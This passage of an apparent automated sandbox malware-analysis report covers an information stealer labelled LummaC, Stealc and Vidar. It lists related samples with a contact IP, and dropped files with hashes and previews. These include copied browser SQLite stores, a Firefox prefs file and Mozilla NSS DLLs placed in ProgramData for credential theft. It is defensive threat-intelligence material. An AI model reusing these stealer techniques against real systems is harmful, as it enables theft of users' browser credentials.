	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	WTI4lrpauV.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	104.21.50.161

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse

Created / dropped Files

C:\ProgramData\AFHDHCAA

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKEGIIJDGHCAKFHJEHCF

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCGDAAKFHIDBFIDBKFH

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9526
Entropy (8bit):	5.515924904533179
Encrypted:	false
SSDEEP:	192:efniR4oYbBp6Sp0pUhUxaXd6Y4nysZM2WklbBNBw8DUSl:hejGpCUvY4ysn7tpwx0
MD5:	4580799F1DC5720A7EC1766400E98740
SHA1:	92FD30F47EC545245B934EA492B3C64D5E609AA9
SHA-256:	57F457D69933E9E8A98C32A05EEE96171419977D45AFFA674A9761556656B9FA
SHA-512:	C0787F6584D1D26EBFD5AE59F32046CF1FF5AD1BEB1443F2FE93EB89EFA2F216CBC98E101BA3E38A2837ED9411A9DE1370E29ED96E83D8096547E53FEE964567
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "d3d72102-142d-47cc-a7b7-5b20541f2540");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696496527);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696496528);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EGIJKEHCAKFCAKFHDAAA

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECGIEBAEBFIIECBGCBGDHCAFC

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03862698848467049
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxAserRNbekZ3DmVxL1HI:58r54w0VW3xWmfRFj381
MD5:	507BA3B63F5856A191688A30D7E2A93A
SHA1:	1B799649D965FF1562753A9EB9B04AC83E5D7C57
SHA-256:	10A34BE61CD43716879A320800A262D0397EA3A8596711BDAE3789B08CB38EF8
SHA-512:	7750584100A725964CAE3A95EC15116CDFE02DE94EFE545AA84933D6002C767F6D6AF9D339F257ED80BDAD233DBF3A1041AB98AB4BF8B6427B5958C66DCEB55F
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\B4U6J06FD2GOJV7081L.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\162e9a01-a5c3-4696-a2fb-52321760962b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58935
Entropy (8bit):	6.105016538689222
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynawKCBS2qX7bgwgorQXdbiR3oM:z/0+zI7ynlKkS20mXdbe3
MD5:	F0CF1912D78BC806FB90023309E97534
SHA1:	7A39479DBABBC18C46F4185FBE2929B46ABB8E51
SHA-256:	834224DE2234BF8123891FB8972D927F7D3BAEED0C73670323C06DDBE5B577EE
SHA-512:	FBEE863EC108F9E6D2D552EE33D86C8F3854542ABB4C171B7ACC9099F2AB325CC402FEC0CDE9DEC43ACE20C7869724D63211DD39A03541C0F829F562B82D988A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2ec35057-8563-476e-b7be-5a5c7f2bd52c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101674094446602
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yneCBS2qX7bCtPHgorQXdbiR3oM:z/0+zI7ynekS20StP0Xdbe3
MD5:	262369B75508BC9B424668A5C2B5BC3C
SHA1:	A887830893E304564C8893B7B38AC1349A79975D
SHA-256:	E54881BDF2EF4C9456751B7507B6037A859A8B8CD727EC39D437475ED2F6EAEF
SHA-512:	2DAE5024CCD016F9D4F91E4629A9EBC0F2C2F95A75C5B3D33609D6E520C0EB28A467B3AAC08D89192A35949104CC8E6055472300781C8287A18E37FB906E5EA2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7e582392-fac2-4195-abbd-441032a065df.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58896
Entropy (8bit):	6.105113666060031
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynAwtCBS2qX7bHwgorQXdbiR3oM:z/0+zI7ynftkS20ZXdbe3
MD5:	B3A67820CFF6776BF9D61C5998C561F8
SHA1:	851CF022627B918DAA2FB727D9BB9C48AB3DD49B
SHA-256:	EDD288D323824EF85B116B4527BD232174B00A154EE8870A507965FF216A0B83
SHA-512:	877341824CCAE9D3745FFCFC7F7ACC15A3BA0BB27FDD526D9EB5A820E8F53AD7E7144151778C11E7024EABB5AC193C71F43746300BC6BADD70085A66404281E5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8371f157-8aba-4da9-9b5d-a81a8d1042e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	58935
Entropy (8bit):	6.105016538689222
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynawKCBS2qX7bgwgorQXdbiR3oM:z/0+zI7ynlKkS20mXdbe3
MD5:	F0CF1912D78BC806FB90023309E97534
SHA1:	7A39479DBABBC18C46F4185FBE2929B46ABB8E51
SHA-256:	834224DE2234BF8123891FB8972D927F7D3BAEED0C73670323C06DDBE5B577EE
SHA-512:	FBEE863EC108F9E6D2D552EE33D86C8F3854542ABB4C171B7ACC9099F2AB325CC402FEC0CDE9DEC43ACE20C7869724D63211DD39A03541C0F829F562B82D988A
Malicious:	false
